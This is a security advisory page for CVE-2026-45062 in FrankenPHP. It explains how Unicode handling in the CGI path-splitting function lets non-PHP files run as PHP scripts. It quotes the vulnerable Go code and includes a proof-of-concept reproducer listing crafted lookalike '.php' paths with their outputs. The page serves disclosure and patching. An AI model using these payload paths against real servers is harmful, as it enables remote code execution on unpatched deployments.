Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ CVE-2026-45062 — frankenphp

🟠 CVSS 8.1 — High ✅ No Known Exploit CWE-176 NVD
8.1
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

FrankenPHP: Unsafe Unicode Handling in CGI Path Splitting Allows Execution of Non-PHP Files

Summary

The splitPos() function in [cgi.go](https://github.com/php/frankenphp/blob/main/cgi.go) misuses golang.org/x/text/search with search.IgnoreCase when the request path contains a non-ASCII byte. Two distinct flaws in that fallback let an attacker mislead FrankenPHP into treating a non-.php file as a .php script. In any deployment where the attacker can place content into a file served by FrankenPHP (uploads, file storage, etc.), this can be escalated to remote code execution by crafting a URL whose path triggers either flaw.

This advisory consolidates two independent reports against the same function (the duplicate, GHSA-v4h7-cj44-8fc8, has been closed). Both were reported by @KC1zs4.

Details

```go

var splitSearchNonASCII = search.New(language.Und, search.IgnoreCase)

func splitPos(path string, splitPath []string) int {

if len(splitPath) == 0 {

return 0

}

pathLen := len(path)

for _, split := range splitPath {

splitLen := len(split)

for i := 0; i < pathLen; i++ {

if path[i] >= utf8.RuneSelf {

if _, end := splitSearchNonASCII.IndexString(path, split); end > -1 {

return end

}

break

}

if i+splitLen > pathLen {

continue

}

match := true

for j := 0; j < splitLen; j++ {

c := path[i+j]

if c >= utf8.RuneSelf {

if _, end := splitSearchNonASCII.IndexString(path, split); end > -1 {

return end

}

break // <-- flaw 1: 'match' is still true

}

if 'A' <= c && c <= 'Z' {

c += 'a' - 'A'

}

if c != split[j] {

match = false

break

}

}

if match {

return i + splitLen

}

}

}

return -1

}

```

Flaw 1 — Control-flow: stale match after inner non-ASCII fallback

In the inner for j loop, when a byte satisfies c >= utf8.RuneSelf and splitSearchNonASCII.IndexString(...) returns -1, the loop breaks without setting match = false. The outer code then evaluates if match { return i + splitLen } with match still true, returning a position as if .php had been matched. The script-name suffix actually present at that offset is whatever bytes the attacker chose, so a file named name.<U+00A1>.txt gets routed as PHP.

Flaw 2 — Unicode equivalence: search.IgnoreCase folds non-ASCII lookalikes onto ASCII

search.New(language.Und, search.IgnoreCase) performs Unicode equivalence matching (compatibility decomposition + case folding), which goes far beyond the ASCII-only case folding the surrounding code is built for. Many code points fold onto ASCII ., p, h, p, so a path containing ﹒php, .php, .php, .ⓟⓗⓟ, .𝗽𝗵𝗽, .𝓅𝒽𝓅, .𝖕𝖍𝖕, etc. is reported as .php.

Both flaws share the same root cause: invoking search.IgnoreCase to match an ASCII-only, validated-lower-case split entry against an arbitrary path. WithRequestSplitPath already guarantees every entry is ASCII and lower-cased, so any byte >= utf8.RuneSelf in the path can never be part of a legitimate match — but the fallback ignored that guarantee.

PoC

Standalone reproducer (copy splitPos from cgi.go verbatim, plus the imports):

```go

package main

import (

"fmt"

"unicode/utf8"

"golang.org/x/text/language"

"golang.org/x/text/search"

)

var splitSearchNonASCII = search.New(language.Und, search.IgnoreCase)

// ... splitPos copied verbatim from cgi.go ...

func main() {

split := []string{".php"}

payloads := []string{

// flaw 1

"/PoC-match-unset.txt", // expected: -1

"/PoC-match-unset.¡.txt", // expected: -1, actual: 20

// flaw 2

"/shell﹒php", // ﹒ small full stop

"/shell.php", // . fullwidth full stop

"/shell.php", // p fullwidth p

"/shell.php", // h fullwidth h

"/shell.ⓟⓗⓟ", // ⓟⓗⓟ circled

"/shell.\U0001D5FD\U0001D5F5\U0001D5FD", // 𝗽𝗵𝗽 mathematical sans-serif bold

"/shell.\U0001D4C5\U0001D4BD\U0001D4C5", // 𝓅𝒽𝓅 mathematical script

"/shell.ⓟⓗⓟ.anything-after-payload.php",

}

for _, p := range payloads {

fmt.Printf("%-50s : %d\n", p, splitPos(p, split))

}

}

```

Run go run poc.go:

```text

/PoC-match-unset.txt : -1

/PoC-match-unset.¡.txt : 20

/shell﹒php : 12

/shell.php : 12

/shell.php : 12

/shell.php : 12

/shell.ⓟⓗⓟ : 16

/shell.𝗽𝗵𝗽 : 19

/shell.𝓅𝒽𝓅 : 19

/shell.ⓟⓗⓟ.anything-after-payload.php : 16

```

Every value other than -1 is a wrong answer: splitPos claims .php was matched at the printed offset, so SCRIPT_FILENAME is set to the corresponding non-PHP file (which PHP then loads and executes).

End-to-end demo

Directory layout:

```

.

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is high, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity high, availability high.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: High — the attacker first has to win a race, learn a secret or otherwise prepare the target.
  • Privileges required: None — an unauthenticated stranger can try it.
  • User interaction: None — nobody has to be tricked into anything.
  • Scope: Unchanged — the damage stays inside the vulnerable component.
  • Confidentiality impact: High — total loss, or loss the attacker controls.
  • Integrity impact: High — total loss, or loss the attacker controls.
  • Availability impact: High — total loss, or loss the attacker controls.

Weakness class

CVE-2026-45062 is classified as CWE-176: Improper Handling of Unicode Encoding. The product does not properly handle when an input contains Unicode encoding.

Affected software

CVE-2026-45062 is recorded against 2 packages.

  • github.com/dunglas/frankenphp
  • unknown

Timeline and source

Published on 25 June 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.

References

github.com (Advisory)
nvd.nist.gov (Advisory)
github.com (Web)
github.com (Web)

Other advisories for this package

github.com/dunglas/frankenphp has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-176: Improper Handling of Unicode Encoding) in other software:

Details

Severity HIGH
CVSS Score 8.1
CVSS Vector CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE CWE-176
Public Exploit ✅ No
Source NVD
Published 2026-06-25
Updated 2026-08-20
Modified 2026-06-25
Fix URL N/A

Affected Packages

Software From version Fixed in
github.com/dunglas/frankenphp
unknown

Similar Threats

Site Security Check

Is frankenphp part of your stack?

CVE-2026-45062 is rated CVSS 8.1 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.

Scan My Site Free →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2026